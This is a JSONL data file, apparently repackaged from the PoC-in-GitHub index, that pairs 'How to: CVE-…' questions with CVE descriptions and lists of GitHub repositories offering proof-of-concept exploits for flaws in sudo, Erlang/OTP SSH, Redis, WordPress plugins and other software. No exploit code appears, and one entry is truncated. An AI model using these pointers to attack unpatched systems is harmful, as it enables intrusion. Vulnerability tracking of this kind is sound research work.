{"id": "gh_6320259035d7", "question": "How to: CVE-2025-32013 (2025-04-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLNbits is a Lightning wallet and accounts system. A Server-Side Request Forgery (SSRF) vulnerability has been discovered in LNbits' LNURL authentication handling functionality. When processing LNURL authentication requests, the application accepts a callback URL parameter and makes an HTTP request to that URL using the httpx library with redirect following enabled. The application doesn't properly validate the callback URL, allowing attackers to specify internal network addresses and access internal resources.\n```\n- [Mohith-T/CVE-2025-32013](https://github.com/Mohith-T/CVE-2025-32013)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155585"}
{"id": "gh_fd702e93a571", "question": "How to: CVE-2025-32023 (2025-07-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRedis is an open source, in-memory database that persists on disk. From 2.8 to before 8.0.3, 7.4.5, 7.2.10, and 6.2.19, an authenticated user may use a specially crafted string to trigger a stack/heap out of bounds write on hyperloglog operations, potentially leading to remote code execution. The bug likely affects all Redis versions with hyperloglog operations implemented. This vulnerability is fixed in 8.0.3, 7.4.5, 7.2.10, and 6.2.19. An additional workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing hyperloglog operations. This can be done using ACL to restrict HLL commands.\n```\n- [leesh3288/CVE-2025-32023](https://github.com/leesh3288/CVE-2025-32023)\n- [Ashwesker/Ashwesker-CVE-2025-32023](https://github.com/Ashwesker/Ashwesker-CVE-2025-32023)\n- [LordBheem/CVE-2025-32023](https://github.com/LordBheem/CVE-2025-32023)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155590"}
{"id": "gh_84f9717a41c2", "question": "How to: CVE-2025-32094 (2025-08-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in Akamai Ghost, as used for the Akamai CDN platform before 2025-03-26. Under certain circumstances, a client making an HTTP/1.x OPTIONS request with an \"Expect: 100-continue\" header, and using obsolete line folding, can lead to a discrepancy in how two in-path Akamai servers interpret the request, allowing an attacker to smuggle a second request in the original request body.\n```\n- [perplext/echteeteepee](https://github.com/perplext/echteeteepee)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155595"}
{"id": "gh_2f7bc7368737", "question": "How to: CVE-2025-32118 (2025-04-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in NiteoThemes CMP – Coming Soon & Maintenance allows Using Malicious Files. This issue affects CMP – Coming Soon & Maintenance: from n/a through 4.1.13.\n```\n- [Nxploited/CVE-2025-32118](https://github.com/Nxploited/CVE-2025-32118)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155600"}
{"id": "gh_6797a1c6be70", "question": "How to: CVE-2025-32140 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in Nirmal Kumar Ram WP Remote Thumbnail allows Upload a Web Shell to a Web Server. This issue affects WP Remote Thumbnail: from n/a through 1.3.1.\n```\n- [Nxploited/CVE-2025-32140](https://github.com/Nxploited/CVE-2025-32140)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155604"}
{"id": "gh_6be7b22fc8c0", "question": "How to: CVE-2025-32206 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in LABCAT Processing Projects allows Upload a Web Shell to a Web Server. This issue affects Processing Projects: from n/a through 1.0.2.\n```\n- [Nxploited/CVE-2025-32206](https://github.com/Nxploited/CVE-2025-32206)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155608"}
{"id": "gh_e20186e50ad0", "question": "How to: CVE-2025-32259 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMissing Authorization vulnerability in Alimir WP ULike. This issue affects WP ULike: from n/a through 4.7.9.1.\n```\n- [HossamEAhmed/wp-ulike-cve-2025-32259-poc](https://github.com/HossamEAhmed/wp-ulike-cve-2025-32259-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155612"}
{"id": "gh_22295d0daf52", "question": "How to: CVE-2025-32375 (2025-04-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.\n```\n- [theGEBIRGE/CVE-2025-32375](https://github.com/theGEBIRGE/CVE-2025-32375)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155617"}
{"id": "gh_77d7afb520f2", "question": "How to: CVE-2025-32395 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVite is a frontend tooling framework for javascript. Prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13, the contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2. On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) and running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) are affected. This vulnerability is fixed in 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13.\n```\n- [ruiwenya/CVE-2025-32395](https://github.com/ruiwenya/CVE-2025-32395)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155622"}
{"id": "gh_4b3b7561efe6", "question": "How to: CVE-2025-32407 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSamsung Internet for Galaxy Watch version 5.0.9, available up until Samsung Galaxy Watch 3, does not properly validate TLS certificates, allowing for an attacker to impersonate any and all websites visited by the user. This is a critical misconfiguration in the way the browser validates the identity of the server. It negates the use of HTTPS as a secure channel, allowing for Man-in-the-Middle attacks, stealing sensitive information or modifying incoming and outgoing traffic. NOTE: This vulnerability is in an end-of-life product that is no longer maintained by the vendor.\n```\n- [diegovargasj/CVE-2025-32407](https://github.com/diegovargasj/CVE-2025-32407)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155627"}
{"id": "gh_caac800f3f71", "question": "How to: CVE-2025-32421 (2025-05-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNext.js is a React framework for building full-stack web applications. Versions prior to 14.2.24 and 15.1.6 have a race-condition vulnerability. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML. This issue was patched in versions 15.1.6 and 14.2.24 by stripping the `x-now-route-matches` header from incoming requests. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on `200 OK` status without explicit `cache-control` headers. Those who self-host Next.js deployments and are unable to upgrade immediately can mitigate this vulnerability by stripping the `x-now-route-matches` header from all incoming requests at the content development network and setting `cache-control: no-store` for all responses under risk. The maintainers of Next.js strongly recommend only caching responses with explicit cache-control headers.\n```\n- [Delfaster/CVE-2025-32421---Race-Condition-Vulnerability---Next.js](https://github.com/Delfaster/CVE-2025-32421---Race-Condition-Vulnerability---Next.js)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155633"}
{"id": "gh_fe96cb00d25a", "question": "How to: CVE-2025-32429 (2025-07-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nXWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 9.4-rc-1 through 16.10.5 and 17.0.0-rc-1 through 17.2.2, it's possible for anyone to inject SQL using the parameter sort of the getdeleteddocuments.vm. It's injected as is as an ORDER BY value. This is fixed in versions 16.10.6 and 17.3.0-rc-1.\n```\n- [byteReaper77/CVE-2025-32429](https://github.com/byteReaper77/CVE-2025-32429)\n- [amir-othman/CVE-2025-32429](https://github.com/amir-othman/CVE-2025-32429)\n- [imbas007/CVE-2025-32429-Checker](https://github.com/imbas007/CVE-2025-32429-Checker)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155637"}
{"id": "gh_a3f1ed7d5c08", "question": "How to: CVE-2025-32432 (2025-04-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCraft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector. This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.\n```\n- [Chocapikk/CVE-2025-32432](https://github.com/Chocapikk/CVE-2025-32432)\n- [Sachinart/CVE-2025-32432](https://github.com/Sachinart/CVE-2025-32432)\n- [CTY-Research-1/CVE-2025-32432-PoC](https://github.com/CTY-Research-1/CVE-2025-32432-PoC)\n- [Ashwesker/Ashwesker-CVE-2025-32432](https://github.com/Ashwesker/Ashwesker-CVE-2025-32432)\n- [bambooqj/CVE-2025-32432](https://github.com/bambooqj/CVE-2025-32432)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155642"}
{"id": "gh_0635ed15c05f", "question": "How to: CVE-2025-32433 (2025-04-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nErlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.\n```\n- [platsecurity/CVE-2025-32433](https://github.com/platsecurity/CVE-2025-32433)\n- [ekomsSavior/POC_CVE-2025-32433](https://github.com/ekomsSavior/POC_CVE-2025-32433)\n- [Epivalent/CVE-2025-32433-detection](https://github.com/Epivalent/CVE-2025-32433-detection)\n- [darses/CVE-2025-32433](https://github.com/darses/CVE-2025-32433)\n- [LemieOne/CVE-2025-32433](https://github.com/LemieOne/CVE-2025-32433)\n- [teamtopkarl/CVE-2025-32433](https://github.com/teamtopkarl/CVE-2025-32433)\n- [m0usem0use/erl_mouse](https://github.com/m0usem0use/erl_mouse)\n- [exa-offsec/ssh_erlangotp_rce](https://github.com/exa-offsec/ssh_erlangotp_rce)\n- [omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC](https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC)\n- [0xPThree/cve-2025-32433](https://github.com/0xPThree/cve-2025-32433)\n- [meloppeitreet/CVE-2025-32433-Remote-Shell](https://github.com/meloppeitreet/CVE-2025-32433-Remote-Shell)\n- [ps-interactive/lab_CVE-2025-32433](https://github.com/ps-interactive/lab_CVE-2025-32433)\n- [0x7556/CVE-2025-32433](https://github.com/0x7556/CVE-2025-32433)\n- [becrevex/CVE-2025-32433](https://github.com/becrevex/CVE-2025-32433)\n- [MrDreamReal/CVE-2025-32433](https://github.com/MrDreamReal/CVE-2025-32433)\n- [Know56/CVE-2025-32433](https://github.com/Know56/CVE-2025-32433)\n- [abrewer251/CVE-2025-32433_Erlang-OTP_PoC](https://github.com/abrewer251/CVE-2025-32433_Erlang-OTP_PoC)\n- [ODST-Forge/CVE-2025-32433_PoC](https://github.com/ODST-Forge/CVE-2025-32433_PoC)\n- [C9b3rD3vi1/Erlang-OTP-SSH-CVE-2025-32433](https://github.com/C9b3rD3vi1/Erlang-OTP-SSH-CVE-2025-32433)\n- [bilalz5-github/Erlang-OTP-SSH-CVE-2025-32433](https://github.com/bilalz5-github/Erlang-OTP-SSH-CVE-2025-32433)\n- [vigilante-1337/CVE-2025-32433](https://github.com/vigilante-1337/CVE-2025-32433)\n- [Ashwesker/Ashwesker-CVE-2025-32433](https://github.com/Ashwesker/Ashwesker-CVE-2025-32433)\n- [Yuri08loveElaina/CVE-2025-32433-Erlang-OTP-SSH-Pre-Auth-RCE-exploit](https://github.com/Yuri08loveElaina/CVE-2025-32433-Erlang-OTP-SSH-Pre-Auth-RCE-exploit)\n- [NiteeshPujari/CVE-2025-32433-PoC](https://github.com/NiteeshPujari/CVE-2025-32433-PoC)\n- [te0rwx/CVE-2025-32433-Detection](https://github.com/te0rwx/CVE-2025-32433-Detection)\n- [Mdusmandasthaheer/CVE-2025-32433](https://github.com/Mdusmandasthaheer/CVE-2025-32433)\n- [dollarboysushil/CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE](https://github.com/dollarboysushil/CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE)\n- [iteride/CVE-2025-32433](https://github.com/iteride/CVE-2025-32433)\n- [mirmeweu/cve-2025-32433](https://github.com/mirmeweu/cve-2025-32433)\n- [soltanali0/CVE-2025-32433-Eploit](https://github.com/soltanali0/CVE-2025-32433-Eploit)\n- [giriaryan694-a11y/cve-2025-32433_rce_exploit](https://github.com/giriaryan694-a11y/cve-2025-32433_rce_exploit)\n- [AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433](https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155651"}
{"id": "gh_4d1715f7b713", "question": "How to: CVE-2025-32434 (2025-04-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPyTorch is a Python package that provides tensor computation with strong GPU acceleration and deep neural networks built on a tape-based autograd system. In version 2.5.1 and prior, a Remote Command Execution (RCE) vulnerability exists in PyTorch when loading a model using torch.load with weights_only=True. This issue has been patched in version 2.6.0.\n```\n- [cyhe50/cve-2025-32434-poc](https://github.com/cyhe50/cve-2025-32434-poc)\n- [B1tBit/CVE-2025-32434-exploit](https://github.com/B1tBit/CVE-2025-32434-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155656"}
{"id": "gh_cb1f7c727f0d", "question": "How to: CVE-2025-32462 (2025-06-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.\n```\n- [Hacksparo/CVE-2025-32462](https://github.com/Hacksparo/CVE-2025-32462)\n- [CryingN/CVE-2025-32462](https://github.com/CryingN/CVE-2025-32462)\n- [cybersentinelx1/CVE-2025-32462-Exploit](https://github.com/cybersentinelx1/CVE-2025-32462-Exploit)\n- [mylovem313/CVE-2025-32462](https://github.com/mylovem313/CVE-2025-32462)\n- [cyberpoul/CVE-2025-32462-POC](https://github.com/cyberpoul/CVE-2025-32462-POC)\n- [SpongeBob-369/cve-2025-32462](https://github.com/SpongeBob-369/cve-2025-32462)\n- [MAAYTHM/CVE-2025-32462_32463-Lab](https://github.com/MAAYTHM/CVE-2025-32462_32463-Lab)\n- [toohau/CVE-2025-32462-32463-Detection-Script-](https://github.com/toohau/CVE-2025-32462-32463-Detection-Script-)\n- [j3r1ch0123/CVE-2025-32462](https://github.com/j3r1ch0123/CVE-2025-32462)\n- [OffSecPlaybook/CVE-2025-32462-](https://github.com/OffSecPlaybook/CVE-2025-32462-)\n- [lakshan-sameera/CVE-2025-32462-and-CVE-2025-32463---Critical-Sudo-Vulnerabilities](https://github.com/lakshan-sameera/CVE-2025-32462-and-CVE-2025-32463---Critical-Sudo-Vulnerabilities)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155663"}
{"id": "gh_043b772b1a54", "question": "How to: CVE-2025-32463 (2025-06-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the --chroot option.\n```\n- [pr0v3rbs/CVE-2025-32463_chwoot](https://github.com/pr0v3rbs/CVE-2025-32463_chwoot)\n- [4f-kira/CVE-2025-32463](https://github.com/4f-kira/CVE-2025-32463)\n- [K1tt3h/CVE-2025-32463-POC](https://github.com/K1tt3h/CVE-2025-32463-POC)\n- [IC3-512/linux-root-kit](https://github.com/IC3-512/linux-root-kit)\n- [7r00t/cve-2025-32463-lab](https://github.com/7r00t/cve-2025-32463-lab)\n- [SysMancer/CVE-2025-32463](https://github.com/SysMancer/CVE-2025-32463)\n- [kh4sh3i/CVE-2025-32463](https://github.com/kh4sh3i/CVE-2025-32463)\n- [neko205-mx/CVE-2025-32463_Exploit](https://github.com/neko205-mx/CVE-2025-32463_Exploit)\n- [pevinkumar10/CVE-2025-32463](https://github.com/pevinkumar10/CVE-2025-32463)\n- [zhaduchanhzz/CVE-2025-32463_POC](https://github.com/zhaduchanhzz/CVE-2025-32463_POC)\n- [robbert1978/CVE-2025-32463_POC](https://github.com/robbert1978/CVE-2025-32463_POC)\n- [Mikivirus0/sudoinjection](https://github.com/Mikivirus0/sudoinjection)\n- [nflatrea/CVE-2025-32463](https://github.com/nflatrea/CVE-2025-32463)\n- [san8383/CVE-2025-32463](https://github.com/san8383/CVE-2025-32463)\n- [0xAkarii/CVE-2025-32463](https://github.com/0xAkarii/CVE-2025-32463)\n- [CIA911/sudo_patch_CVE-2025-32463](https://github.com/CIA911/sudo_patch_CVE-2025-32463)\n- [mirchr/CVE-2025-32463-sudo-chwoot](https://github.com/mirchr/CVE-2025-32463-sudo-chwoot)\n- [ill-deed/CVE-2025-32463_illdeed](https://github.com/ill-deed/CVE-2025-32463_illdeed)\n- [zinzloun/CVE-2025-32463](https://github.com/zinzloun/CVE-2025-32463)\n- [yeremeu/CVE-2025-32463_chwoot](https://github.com/yeremeu/CVE-2025-32463_chwoot)\n- [cyberpoul/CVE-2025-32463-POC](https://github.com/cyberpoul/CVE-2025-32463-POC)\n- [Ashwesker/Ashwesker-CVE-2025-32463](https://github.com/Ashwesker/Ashwesker-CVE-2025-32463)\n- [junxian428/CVE-2025-32463](https://github.com/junxian428/CVE-2025-32463)\n- [FreeDurok/CVE-2025-32463-PoC](https://github.com/FreeDurok/CVE-2025-32463-PoC)\n- [Chocapikk/CVE-2025-32463-lab](https://github.com/Chocapikk/CVE-2025-32463-lab)\n- [K3ysTr0K3R/CVE-2025-32463-EXPLOIT](https://github.com/K3ysTr0K3R/CVE-2025-32463-EXPLOIT)\n- [SpongeBob-369/cve-2025-32463](https://github.com/SpongeBob-369/cve-2025-32463)\n- [lowercasenumbers/CVE-2025-32463_sudo_chroot](https://github.com/lowercasenumbers/CVE-2025-32463_sudo_chroot)\n- [abrewer251/CVE-2025-32463_Sudo_PoC](https://github.com/abrewer251/CVE-2025-32463_Sudo_PoC)\n- [0xb0rn3/CVE-2025-32463-EXPLOIT](https://github.com/0xb0rn3/CVE-2025-32463-EXPLOIT)\n- [morgenm/sudo-chroot-CVE-2025-32463](https://github.com/morgenm/sudo-chroot-CVE-2025-32463)\n- [MohamedKarrab/CVE-2025-32463](https://github.com/MohamedKarrab/CVE-2025-32463)\n- [dbarquero/cve-2025-32463-lab](https://github.com/dbarquero/cve-2025-32463-lab)\n- [krypton-0x00/CVE-2025-32463-Chwoot-POC](https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC)\n- [Floodnut/CVE-2025-32463](https://github.com/Floodnut/CVE-2025-32463)\n- [Rajneeshkarya/CVE-2025-32463](https://github.com/Rajneeshkarya/CVE-2025-32463)\n- [MGunturG/CVE-2025-32463](https://github.com/MGunturG/CVE-2025-32463)\n- [Maalfer/Sudo-CVE-2021-3156](https://github.com/Maalfer/Sudo-CVE-2021-3156)\n- [daryllundy/CVE-2025-32463](https://github.com/daryllundy/CVE-2025-32463)\n- [AdityaBhatt3010/Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462](https://github.com/AdityaBhatt3010/Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462)\n- [ChetanKomal/sudo_exploit](https://github.com/ChetanKomal/sudo_exploit)\n- [KaiHT-Ladiant/CVE-2025-32463](https://github.com/KaiHT-Ladiant/CVE-2025-32463)\n- [y4ney/CVE-2025-32463-lab](https://github.com/y4ney/CVE-2025-32463-lab)\n- [aldoClau98/CVE-2025-32463](https://github.com/aldoClau98/CVE-2025-32463)\n- [painoob/CVE-2025-32463](https://github.com/painoob/CVE-2025-32463)\n- [Nowafen/CVE-2025-32463](https://github.com/Nowafen/CVE-2025-32463)\n- [Yuy0ung/CVE-2025-32463_chwoot](https://github.com/Yuy0ung/CVE-2025-32463_chwoot)\n- [hacieda/CVE-2025-32463](https://github.com/hacieda/CVE-2025-32463)\n- [blackcat4347/CVE-2025-32463_PoC](https://github.com/blackcat4347/CVE-2025-32463_PoC)\n- [ashardev002/CVE-2025-32463_chwoot](https://github.com/ashardev002/CVE-2025-32463_chwoot)\n- [mihnasdsad/CVE-2025-32463](https://github.com/mihnasdsad/CVE-2025-32463)\n- [D3ltaFormation/CVE-2025-32463-Sudo-Chroot-Escape](https://github.com/D3ltaFormation/CVE-2025-32463-Sudo-Chroot-Escape)\n- [AC8999/CVE-2025-32463](https://github.com/AC8999/CVE-2025-32463)\n- [dr4xp/sudo-chroot](https://github.com/dr4xp/sudo-chroot)\n- [ankitpandey383/CVE-2025-32463-Sudo-Privilege-Escalation](https://github.com/ankitpandey383/CVE-2025-32463-Sudo-Privilege-Escalation)\n- [justjoeyking/CVE-2025-32463](https://github.com/justjoeyking/CVE-2025-32463)\n- [Mr-Alperen/CVE-2025-32463](https://github.com/Mr-Alperen/CVE-2025-32463)\n- [aexdyhaxor/CVE-2025-32463](https://git", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155675"}
{"id": "gh_0ebe0bf760e2", "question": "How to: CVE-2025-32579 (2025-04-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in SoftClever Limited Sync Posts allows Upload a Web Shell to a Web Server. This issue affects Sync Posts: from n/a through 1.0.\n```\n- [Nxploited/CVE-2025-32579](https://github.com/Nxploited/CVE-2025-32579)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155680"}
{"id": "gh_3bfd1891072d", "question": "How to: CVE-2025-32583 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Control of Generation of Code ('Code Injection') vulnerability in termel PDF 2 Post allows Remote Code Inclusion. This issue affects PDF 2 Post: from n/a through 2.4.0.\n```\n- [Nxploited/CVE-2025-32583](https://github.com/Nxploited/CVE-2025-32583)\n- [GadaLuBau1337/CVE-2025-32583](https://github.com/GadaLuBau1337/CVE-2025-32583)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155686"}
{"id": "gh_d90216cb7c40", "question": "How to: CVE-2025-32641 (2025-04-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in anantaddons Anant Addons for Elementor allows Cross Site Request Forgery. This issue affects Anant Addons for Elementor: from n/a through 1.1.5.\n```\n- [Nxploited/CVE-2025-32641](https://github.com/Nxploited/CVE-2025-32641)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155690"}
{"id": "gh_9867838024f4", "question": "How to: CVE-2025-32682 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in RomanCode MapSVG Lite allows Upload a Web Shell to a Web Server. This issue affects MapSVG Lite: from n/a through 8.5.34.\n```\n- [Nxploited/CVE-2025-32682](https://github.com/Nxploited/CVE-2025-32682)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155695"}
{"id": "gh_15e8345e5c93", "question": "How to: CVE-2025-32709 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n```\n- [AdnanSiyat/How-to-Patch-CVE-2025-32709](https://github.com/AdnanSiyat/How-to-Patch-CVE-2025-32709)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155699"}
{"id": "gh_b037668a3f22", "question": "How to: CVE-2025-32710 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.\n```\n- [Sincan2/RCE-CVE-2025-32710](https://github.com/Sincan2/RCE-CVE-2025-32710)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155703"}
